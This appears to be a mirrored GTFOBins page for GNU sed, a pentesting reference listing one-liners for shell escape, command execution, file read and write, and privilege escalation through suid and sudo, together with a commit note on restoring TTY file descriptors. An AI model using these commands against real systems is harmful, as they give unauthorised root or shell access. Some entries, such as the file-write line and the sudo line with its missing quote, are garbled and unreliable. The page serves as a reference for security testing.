mirror/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
Code Issues
8eaf595fe6
GTFOBins.github.io/_gtfobins/sed.md
Andrea Cardaci 8eaf595fe6 Make interactive execute whenever possible 
Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:11:06 +02:00

653 B
Raw Blame History

functions
execute-interactive execute-non-interactive file-write file-read suid-enabled sudo-enabled
description code
GNU version only. Also, this requires `bash`. sed -n '1e exec sh 1>&0' /etc/hosts
description code
GNU version only. sed -n "1e id" /etc/hosts
code
LFILE=file_to_write sed -n '1e exec sh 1>&0 /etc/hosts
code
LFILE=file_to_read sed '' "$LFILE"
code
LFILE=file_to_read ./sed -e '' "$LFILE"
description code
GNU version only. Also, this requires `bash`. sudo sed -n '1e exec sh 1>&0 /etc/hosts